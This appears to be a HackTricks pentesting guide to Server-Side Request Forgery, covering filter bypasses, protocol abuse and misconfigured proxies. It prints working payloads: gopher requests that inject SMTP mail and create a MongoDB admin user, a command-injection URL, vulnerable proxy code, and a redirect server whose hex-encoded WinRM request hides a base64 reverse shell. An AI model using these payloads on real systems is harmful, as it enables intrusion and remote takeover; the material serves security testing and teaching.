SSRF (Server Side Request Forgery)

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Basic Information

A Server-side Request Forgery (SSRF) vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.

Capture SSRF

The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as:

Burp Collaborator
pingb
canarytokens
interractsh
http://webhook.site
https://github.com/teknogeek/ssrf-sheriff
http://requestrepo.com/
https://github.com/stolenusername/cowitness
https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok

Whitelisted Domains Bypass

Usually you will find that the SSRF is only working in certain whitelisted domains or URL. In the following page you have a compilation of techniques to try to bypass that whitelist:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource.
Read more here: https://portswigger.net/web-security/ssrf

Protocols

file://
- The URL scheme file:// is referenced, pointing directly to /etc/passwd: file:///etc/passwd
dict://
- The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
- Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: url=sftp://generic.com:11111/
TFTP://
- Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
- This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
- A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect

Curl URL globbing - WAF bypass
- If the SSRF is executed by curl, curl has a feature called URL globbing that could be useful to bypass WAFs. For example in this writeup you can find this example for a path traversal via file protocol:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Gopher://
- The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:

Gopher://

Using this protocol you can specify the IP, port and bytes you want the server to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first).
Fortunately, you can use Gopherus to create payloads for several services. Additionally, remote-method-guesser can be used to create gopher payloads for Java RMI services.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Others

Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "Collaborator Everywhere" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces.

SSRF via SNI data from certificate

A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:

stream {
    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $ssl_preread_server_name:443;       
        ssl_preread on;
    }
}

In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as internal.host.com, using the openssl command is given below:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF with Command Injection

It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS

Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

SSRF PHP Functions

Check the following page for vulnerable PHP and even Wordpress functions:

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Redirect to Gopher

For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("GET")
        self.send_response(301)
        self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
        self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()

from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)    

@app.route('/')    
def root():    
    return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
    
if __name__ == "__main__":    
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

Misconfigured proxies to SSRF

Tricks from this post.

Flask

Flask proxy vulnerable code

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
  return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
    app.run(threaded=False)

Flask allows to use @ as initial character, which allows to make the initial host name the username and inject a new one. Attack request:

GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Vulnerable code:

It was discovered that It's possible to start the path of a request with character ; which allows to use then @ and inject a new host to access. Attack request:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Built-in Web Server

Vulnerable PHP code

<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP allows the use of the char * before a slash in the path of the URL, however, it has other limitations like that it can only be used for the root pathname / and that dots . are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:

GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

If you are having problems to exfiltrate content from a local IP because of CORS/SOP, DNS Rebidding can be used to bypass that limitation:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automated DNS Rebidding

Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.

Check out also the publicly running server in http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

SSRF
Outbound TLS sessions
Stuff on local ports

Attack:

Ask the user/bot access a domain controlled by the attacker
The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
In the DNS request a private IP address is given now (127.0.0.1 for example)
The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.

Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.

Time based SSRF

Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)

Cloud SSRF Exploitation

If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF Vulnerable Platforms

Several known platforms contains or has contained SSRF vulnerabilities, check them in:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Tools

SSRFMap

Tool to detect and exploit SSRF vulnerabilities

Gopherus

Blog post on Gopherus

This tool generates Gopher payloads for:

MySQL
PostgreSQL
FastCGI
Redis
Zabbix
Memcache

remote-method-guesser

Blog post on SSRF usage

remote-method-guesser is a Java RMI vulnerability scanner that supports attack operations for most common Java RMI vulnerabilities. Most of the available operations support the --ssrf option, to generate an SSRF payload for the requested operation. Together with the --gopher option, ready to use gopher payloads can be generated directly.

SSRF Proxy

SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).

To practice

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

References

https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

README.md

README.md

SSRF (Server Side Request Forgery)

Basic Information

Capture SSRF

Whitelisted Domains Bypass

Bypass via open redirect

Protocols

Gopher://

Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator

SSRF via Referrer header & Others

SSRF via SNI data from certificate

Wget file upload

SSRF with Command Injection

PDFs Rendering

From SSRF to DoS

SSRF PHP Functions

SSRF Redirect to Gopher

Misconfigured proxies to SSRF

Flask

Spring Boot

PHP Built-in Web Server

DNS Rebidding CORS/SOP bypass

Automated DNS Rebidding

DNS Rebidding + TLS Session ID/Session ticket

Blind SSRF

Time based SSRF

Cloud SSRF Exploitation

SSRF Vulnerable Platforms

Tools

SSRFMap

Gopherus

remote-method-guesser

SSRF Proxy

To practice

References

Files

README.md

Latest commit

History

README.md

File metadata and controls

SSRF (Server Side Request Forgery)

Basic Information

Capture SSRF

Whitelisted Domains Bypass

Bypass via open redirect

Protocols

Gopher://

Gopher MongoDB -- Create user with username=admin with password=admin123 and with permission=administrator

SSRF via Referrer header & Others

SSRF via SNI data from certificate

Wget file upload

SSRF with Command Injection

PDFs Rendering

From SSRF to DoS

SSRF PHP Functions

SSRF Redirect to Gopher

Misconfigured proxies to SSRF

Flask

Spring Boot

PHP Built-in Web Server

DNS Rebidding CORS/SOP bypass

Automated DNS Rebidding

DNS Rebidding + TLS Session ID/Session ticket

Blind SSRF

Time based SSRF

Cloud SSRF Exploitation

SSRF Vulnerable Platforms

Tools

SSRFMap

Gopherus

remote-method-guesser

SSRF Proxy

To practice

References